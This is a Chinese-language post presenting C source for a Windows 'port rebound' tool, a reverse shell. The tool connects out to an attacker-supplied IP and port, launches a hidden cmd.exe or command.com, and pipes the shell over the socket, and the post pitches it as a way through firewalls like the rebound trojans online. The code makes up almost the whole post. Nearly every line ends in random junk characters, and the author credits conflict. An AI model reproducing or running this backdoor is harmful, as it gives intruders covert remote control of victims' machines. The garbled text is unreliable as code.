Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 `h+sSIko  
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/* ============================== nX7{09  
Rebound port in Windows NT H3H3UIIT_  
By wind,2006/7  ?;ZTJ  
===============================*/ z v*hA/  
#include 2$V]XSe  
#include ^dJ/>?1  
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#pragma comment(lib,"wsock32.lib") Nv{r`J.  
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void OutputShell(); oe=^CeW"  
SOCKET sClient;
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; _{_ybXG|  
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void main(int argc,char **argv) WV]Si2pOZ  
{ <7~HG(ks  
WSADATA stWsaData; U,_uy@fE=?  
int nRet; /bjyV]N  
SOCKADDR_IN stSaiClient,stSaiServer; NldeD2~H  
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if(argc != 3) $-Lk,}s.*  
{ zWb
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printf("Useage:\n\rRebound DestIP DestPort\n"); 6FFQoE|n
 
return; KB0HM  
} O-[lL"T  
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WSAStartup(MAKEWORD(2,2),&stWsaData); kAsYh4[  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); y'?ksow  
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stSaiClient.sin_family = AF_INET; $b,o3eC  
stSaiClient.sin_port = htons(0); dMK|l   
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); JS]6jUB<B  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 9D#"Ey  
{ V^Z"FwWk  
printf("Bind Socket Failed!\n"); 6 9_etv  
return; A.8{LY;  
} hsr,a{B%$  
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stSaiServer.sin_family = AF_INET; 2Dgulx5kGZ  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); o?BcpWp  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); xE`uFHuS}  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) +F=j1*'&  
{ `CP#S7W^  
printf("Connect Error!"); Z7a~M3VnZ  
return; KAVe~j"  
} 5v >0$Y{  
OutputShell(); q,w8ca4~y  
} r`Y[XzT9  
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void OutputShell() ByqB4Hv2  
{ 'id]<<F  
char szBuff[1024]; puEuv6F  
SECURITY_ATTRIBUTES stSecurityAttributes; iOXxxP%#  
OSVERSIONINFO stOsversionInfo; *{5p/}p  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; K:hZ  
STARTUPINFO stStartupInfo; JR>#PJ,N-  
char *szShell; v[~e=^IIsl  
PROCESS_INFORMATION stProcessInformation; wQ-pIi{G  
unsigned long lBytesRead; /UtCJMQ  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 2Hl0besm  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); s$ZzS2d  
stSecurityAttributes.lpSecurityDescriptor = 0; I<
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stSecurityAttributes.bInheritHandle = TRUE; `p0+j  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); *M6' GT1%c  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ~IrrX,mp:  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); -]HPDN,OB  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j:ze5FA+  
stStartupInfo.wShowWindow = SW_HIDE; s~(!m. R  
stStartupInfo.hStdInput = hReadPipe;  ntK#7(U'  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 0wL-Ak#v  
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GetVersionEx(&stOsversionInfo); T:k-`t0":N  
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switch(stOsversionInfo.dwPlatformId) %zDh07VT\  
{ aly1=j  
case 1: 4B?8$&b  
szShell = "command.com"; av|r^zc  
break; qbcaiU`-^"  
default: r: Ij\YQ  
szShell = "cmd.exe"; %N``EnF2  
break; 6xI9%YDy  
} 2UqLV^ZY  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); $d\]s]}`  
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send(sClient,szMsg,77,0); D2<(V,h9  
while(1) #2AKO/  
{ Lso4ZZ;  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); i~1bfl   
if(lBytesRead) Fb8~2N"3  
{ hdW}._  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ,n)f=q*%  
send(sClient,szBuff,lBytesRead,0); LcL|'S)  
} "`WcE/(  
else ~\HGV+S!g}  
{ N_<wiwI<  
lBytesRead=recv(sClient,szBuff,1024,0); bp"@vlv  
if(lBytesRead<=0) break; 21k^MZ  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); m][i-|@M  
} ,gYbi-E  
} NHI(}Ea|]  
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return; y$-;6zk\]  
}